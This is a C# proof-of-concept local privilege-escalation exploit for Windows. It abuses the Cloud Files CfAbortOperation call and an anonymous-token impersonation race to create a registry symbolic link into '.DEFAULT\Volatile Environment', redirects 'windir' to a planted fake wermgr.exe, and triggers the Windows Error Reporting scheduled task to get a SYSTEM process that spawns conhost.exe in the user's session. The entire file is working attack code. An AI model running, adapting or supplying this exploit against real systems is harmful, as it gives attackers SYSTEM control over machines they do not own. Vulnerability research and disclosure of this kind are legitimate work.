using Microsoft.Win32;
using Microsoft.Win32.TaskScheduler;
using NtApiDotNet;
using NtApiDotNet.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Pipes;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Cryptography;
using System.Security.Permissions;
using System.Threading;

namespace PoC_AbortHydration_ArbitraryRegKey_EoP
{
    static class Program
    {
        static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access)
        {
            Console.WriteLine("Opening for {0}", desired_access);
            using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root))
            {
                using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false))
                {
                    if (key.IsSuccess)
                        return key.Result.Duplicate();
                }

                using (var imp = NtThread.Current.ImpersonateAnonymousToken())
                {
                    return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile);
                }
            }
        }

        static void SetSecurityDescriptor(NtKey key, SecurityInformation info)
        {
            var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)");
            key.SetSecurityDescriptor(sd, info);
        }

        static void ForceKeyDeleteKey(NtKey root, string name)
        {
            Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name);
            using (var key = OpenKey(root, name, KeyAccessRights.WriteDac))
            {
                Console.WriteLine("Opened for WriteDac");
                SetSecurityDescriptor(key, SecurityInformation.Dacl);
            }

            using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner))
            {
                Console.WriteLine("Opened for WriteOwner");
                SetSecurityDescriptor(key, SecurityInformation.Label);
            }

            using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys))
            {
                Console.WriteLine("Opened for enumerate.");
                DeleteRegistryTree(new_key);
                new_key.Delete();
            }
        }

        static void DeleteRegistryTree(NtKey root)
        {
            foreach (var name in root.QueryKeys())
            {
                ForceKeyDeleteKey(root, name);
            }
        }

        [Flags]
        enum AbortHydrationFlags
        {
            None = 0,
            Unblock = 1,
            Block = 2,
        }

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags);


        [StructLayout(LayoutKind.Sequential)]
        struct CF_PLATFORM_INFO
        {
            public int BuildNumber;
            public int RevisionNumber;
            public int IntegrationNumber;
        }

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfGetPlatformInfo(
          out CF_PLATFORM_INFO PlatformVersion
        );

        static void ForceTokenThread(object obj)
        {
            try
            {
                using (var thread = (NtThread)obj)
                {
                    Console.WriteLine("In force token thread {0}", thread);
                    using (var token = TokenUtils.GetAnonymousToken())
                    {
                        while (true)
                        {
                            thread.SetImpersonationToken(token);
                            thread.SetImpersonationToken(null);
                        }
                    }
                }
            }
            catch(ThreadAbortException)
            {
                return;
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }

        const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft";
        static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles";
        static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps";
        const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment";

        static void CheckKeyThread(object root_key)
        {
            string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT";
            try
            {
                using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed))
                {
                    while (true)
                    {
                        if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR)
                        {
                            Console.WriteLine("Change detected.");
                            Environment.Exit(0);
                            break;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }

        static int Check(this int hr)
        {
            if (hr < 0)
                Marshal.ThrowExceptionForHR(hr);
            return hr;
        }

        const int MAX_STAGE = 4;

        static void Stage0()
        {
            for (int i = 1; i < MAX_STAGE; ++i)
            {
                Win32ProcessConfig config = new Win32ProcessConfig
                {
                    CommandLine = $"run {i}",
                    ApplicationName = typeof(Program).Assembly.Location,
                    TerminateOnDispose = true
                };

                using (var p = Win32Process.CreateProcess(config))
                {
                    if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS)
                    {
                        throw new ArgumentException($"Failed to run stage {i}");
                    }
                }
            }
        }

        static void Stage1(bool root_key)
        {
            Thread check_key_th = new Thread(CheckKeyThread);
            check_key_th.IsBackground = true;
            check_key_th.Start(root_key);
            Thread.Sleep(1000);

            var th = NtThread.OpenCurrent();
            var anon_thread = new Thread(ForceTokenThread)
            {
                IsBackground = true
            };
            anon_thread.Start(th);

            while (true)
            {
                CfAbortOperation(NtProcess.Current.ProcessId,
                    IntPtr.Zero, AbortHydrationFlags.Block);
            }
        }

        static void Stage2()
        {
            using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys))
            {
                SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
                DeleteRegistryTree(key);
            }

            NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY);
            Stage1(false);
        }

        static void Stage3()
        {
            using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete))
            {
                Console.WriteLine("Cleaning up link {0}", key.FullPath);
                key.Delete();
            }

            using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner))
            {
                SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
            }
            var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl);
            foreach(var subkey in key2.GetSubKeyNames())
            {
                var fullsubkey = TARGET_KEY + @"\" + subkey;
                Console.WriteLine("Cleaning up subkey {0}", fullsubkey);
                NtKey _subkey;
                try
                {
                    _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac);
                }
                catch (Exception ex)
                {
                    
                    _subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac);
                }
                SetSecurityDescriptor(_subkey, SecurityInformation.Dacl);
                _subkey.Close();
                _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete);
                _subkey.Delete();
                _subkey.Close();
            }
            
            key2.Close();
            using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue))
            {
                ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName));
            }
            
            string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32";
            Directory.CreateDirectory(fakesys32);
            string fakewer = fakesys32 + @"\wermgr.exe";
            File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true);

            var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe");
            System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync();

            using (TaskService tasksvc = new TaskService())
            {
                Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting");
                wertask.Run();
                wertask.Dispose();
            }
            if(!pipewait.Wait(2000))
            {
                Console.WriteLine("Exploit failed.");
            }
            else
            {
                Console.WriteLine("Exploit succeeded.");
            }
            srvnamedpipe.Dispose();
            Thread.Sleep(1000);
            try
            {
                File.Delete(fakewer);
                Directory.Delete(fakesys32);
            }
            catch (Exception ex)
            { }
            using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete))
            {
                ntarget.Delete(false);
            }

        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId);

        static void Main(string[] args)
        {
            bool isSystem;
            using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent())
            {
                isSystem = identity.IsSystem;
            }
            if (isSystem)
            {
                Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process);
                var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe");
                namedpipeclient.Connect();
                UInt32 nSesID;
                IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle();
                if (!GetNamedPipeServerSessionId(hPipe, out nSesID))
                    return;
                namedpipeclient.Dispose();
                NtToken token = NtToken.OpenEffectiveToken();
                NtToken token2 = token.DuplicateToken();
                token.Dispose();
                token = token2;
                token.SetSessionId(((int)nSesID));
                Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null);
                return;

            }


            try
            {
                CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check();

                if (args.Length <= 1)
                {
                    int stage = args.Length > 0 ? int.Parse(args[0]) : 0;
                    switch (stage)
                    {
                        case 0:
                            Stage0();
                            break;
                        case 1:
                            Stage1(true);
                            break;
                        case 2:
                            Stage2();
                            break;
                        case 3:
                            Stage3();
                            break;
                        default:
                            throw new ArgumentException("Erm?");
                    }
                }
                else
                {
                    using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null))
                    {
                        using (var imp = token.Impersonate())
                        {
                            CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check();
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
    }
}